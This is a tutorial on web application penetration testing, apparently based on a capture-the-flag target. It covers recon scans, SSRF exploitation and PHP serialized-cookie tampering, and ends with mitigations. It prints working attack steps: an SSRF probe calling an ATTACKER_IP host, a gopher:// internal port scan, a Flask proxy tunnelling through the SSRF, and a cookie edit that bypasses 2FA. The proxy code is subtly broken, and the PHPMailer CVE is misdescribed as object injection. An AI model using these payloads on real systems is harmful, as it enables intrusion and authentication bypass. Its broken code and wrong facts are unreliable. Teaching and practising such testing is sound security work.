Web Application Penetration Testing: From Reconnaissance to Exploitation

Web application penetration testing is a structured approach to identifying and exploiting vulnerabilities in web-based systems. This process mimics real-world attack scenarios to uncover security flaws before malicious actors can exploit them. From initial reconnaissance to full system compromise, testers use a combination of automated tools and manual techniques to assess an application's security posture, often chaining multiple vulnerabilities to achieve maximum impact.

Key Points

• Reconnaissance forms the foundation of successful penetration testing by mapping the attack surface
• Server-Side Request Forgery (SSRF) enables attackers to interact with internal systems and services
• Vulnerability chaining combines multiple low-severity issues to achieve critical impact
• Serialization flaws in languages like PHP can lead to authentication bypasses
• Defensive measures must address both individual vulnerabilities and their potential combinations

---

Methodology Overview

Reconnaissance Phase

Effective penetration testing begins with comprehensive information gathering. This phase identifies potential entry points and vulnerable services through:

Network Scanning

nmap -T4 -n -sC -sV -Pn -p- TARGET_IP

Flag	Purpose
-T4	Aggressive timing for faster results
-n	Skip DNS resolution to reduce noise
-sC	Run default NSE scripts for automated enumeration
-sV	Detect service versions for vulnerability research
-Pn	Bypass ICMP filtering by treating host as online
-p-	Scan all 65,535 TCP ports to discover non-standard services

Pro Tip: Focus on services with known vulnerabilities, particularly web servers running outdated software versions.

Web Application Analysis

Manual inspection reveals critical attack vectors:

1. Endpoint Discovery

   • Identify dynamic parameters like /preview.php?url=
   • Look for server-side URL fetching mechanisms
   • Check for iframe-based content loading

2. Source Code Review

   <iframe src="/preview.php?url=internal_resource"></iframe>
   

   • Indicates potential SSRF vulnerability
   • Suggests server-side processing of user-supplied URLs

3. Directory Enumeration

   ffuf -u 'http://TARGET_IP/FUZZ' \
        -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
        -mc all -t 100 -ic -fc 404 -e .php
   

   Endpoint	Status	Potential Impact
   /preview.php	200	SSRF vector
   /management/	301	Administrative interface
   /pdf/	301	Sensitive file storage

---

Exploitation Techniques

SSRF Exploitation

Server-Side Request Forgery allows attackers to:

1. Verify SSRF Capability

   python3 -m http.server 8000
   

   • Host test file on attacker-controlled server
   • Trigger via vulnerable endpoint:

     http://TARGET_IP/preview.php?url=http://ATTACKER_IP:8000/test.txt
     

   • Confirmation when test file content appears in response

2. Internal Port Scanning

   ffuf -u 'http://TARGET_IP/preview.php?url=gopher://127.0.0.1:FUZZ/' \
        -w <(seq 1 65535) -mc all -t 100 -fs 0
   

   • Discovers hidden services (e.g., Next.js app on port 4444)
   • Enables further exploitation of internal systems

3. Proxy Setup for Internal Access

   import requests
   from flask import Flask, request, Response
   
   app = Flask(__name__)
   
   @app.route('/', defaults={'path': ''})
   @app.route('/<path:path>')
   def proxy(path):
       target_url = f"http://127.0.0.1:10000/{path}"
       response = requests.get(
           f"http://TARGET_IP/preview.php?url=gopher://127.0.0.1:10000/_%7Bpath%7D"
       )
       return Response(response.content, status=response.status_code)
   
   if __name__ == '__main__':
       app.run(port=5000)
   

   • Creates tunnel to internal services
   • Enables interaction with otherwise inaccessible systems

PHP Object Injection

Serialization vulnerabilities enable authentication bypass:

1. Vulnerable Cookie Structure

   O:9:"AuthToken":1:{s:9:"validated";b:0;}
   

   • Unsigned PHP serialized object
   • Client-side validation flag

2. Exploitation Steps

   • Intercept login response containing auth_token
   • Decode URL-encoded cookie:

     O%3A9%3A%22AuthToken%22%3A1%3A%7Bs%3A9%3A%22validated%22%3Bb%3A0%3B%7D
     

   • Modify validation flag (b:0 → b:1)
   • Re-encode and send with request to bypass 2FA

---

Defensive Strategies

SSRF Mitigations

• Input Validation: Restrict URL schemes to http:// and https://
• Allowlisting: Maintain list of permitted internal resources
• Network Segmentation: Isolate sensitive internal services
• Disable Dangerous Schemes: Block gopher://, file://, dict://

PHP Security Best Practices

• Avoid Serialization: Use JSON for data storage and transmission
• Implement HMAC: Sign cookies with hash_hmac() to prevent tampering
• Disable Magic Methods: Restrict __wakeup(), __destruct(), etc.
• Use Safe Unserialization: PHP 7.4+ unserialize() options

General Web Security

• Multi-Factor Authentication: Implement TOTP for sensitive operations
• Rate Limiting: Protect authentication endpoints from brute force
• IP Restrictions: Limit access to administrative interfaces
• Regular Audits: Conduct periodic penetration tests and code reviews

---

Advanced Techniques

SSRF Evolution

• Blind SSRF: Exploit server-side callbacks via DNS or HTTP requests
• Cloud Metadata Attacks: Target 169.254.169.254 in AWS/Azure
• SSRF to RCE: Chain with file uploads or deserialization flaws

PHP Exploitation Tools

Tool	Purpose
PHPGGC	Generate gadget chains for PHP object injection
ysoserial	Create serialized payloads for Java/PHP deserialization attacks
gopherus	Generate gopher:// payloads for SSRF exploitation
nuclei	Scan for known SSRF and deserialization vulnerabilities

Vulnerability Chaining Example

graph TD
    A[Initial SSRF] --> B[Internal Port Scan]
    B --> C[Discover Internal App]
    C --> D[Exploit CVE-2025-29927]
    D --> E[Credential Leak]
    E --> F[Access Admin Panel]
    F --> G[PHP Object Injection]
    G --> H[2FA Bypass]
    H --> I[Full Compromise]

---

Practical Applications

Bug Bounty Hunting

• Target Selection: Focus on applications with file uploads, URL parameters, or administrative interfaces
• Reconnaissance: Use tools like gau, waybackurls, and httpx to discover hidden endpoints
• Automation: Combine ffuf with custom wordlists for efficient discovery

Capture The Flag (CTF) Strategies

• Flag Location: Check common directories (/flag, /root, /home)
• Service Enumeration: Pay special attention to non-standard ports
• Vulnerability Research: Search for CVEs related to discovered software versions

Real-World Case Studies

1. Capital One Breach (2019)

   • SSRF in AWS metadata service led to credential theft
   • Resulted in exposure of 100+ million customer records

2. Shopify Bug Bounty (2020)

   • Chained SSRF with internal service access
   • Earned $20,000 bounty for critical vulnerability

3. PHPMailer RCE (CVE-2016-10033)

   • Object injection in email handling
   • Affected millions of WordPress installations

---

Further Learning Resources

Essential Tools

• Burp Suite: Comprehensive web application testing platform
• OWASP ZAP: Open-source alternative to Burp Suite
• Metasploit: Framework for exploit development and testing
• SQLmap: Automated SQL injection detection and exploitation

Recommended Reading

• Books:

  • The Web Application Hacker's Handbook by Dafydd Stuttard
  • Black Hat Python by Justin Seitz
  • Hacking: The Art of Exploitation by Jon Erickson

• Online Courses:

  • PortSwigger Web Security Academy
  • Hack The Box Academy
  • Offensive Security Web Expert (OSWE)

Vulnerability Databases

• CVE Details: https://www.cvedetails.com
• Exploit-DB: https://www.exploit-db.com
• NVD: https://nvd.nist.gov

Community Resources

• Bug Bounty Platforms: HackerOne, Bugcrowd
• Forums: Reddit r/netsec, r/websecurity
• Conferences: DEF CON, Black Hat, OWASP Global AppSec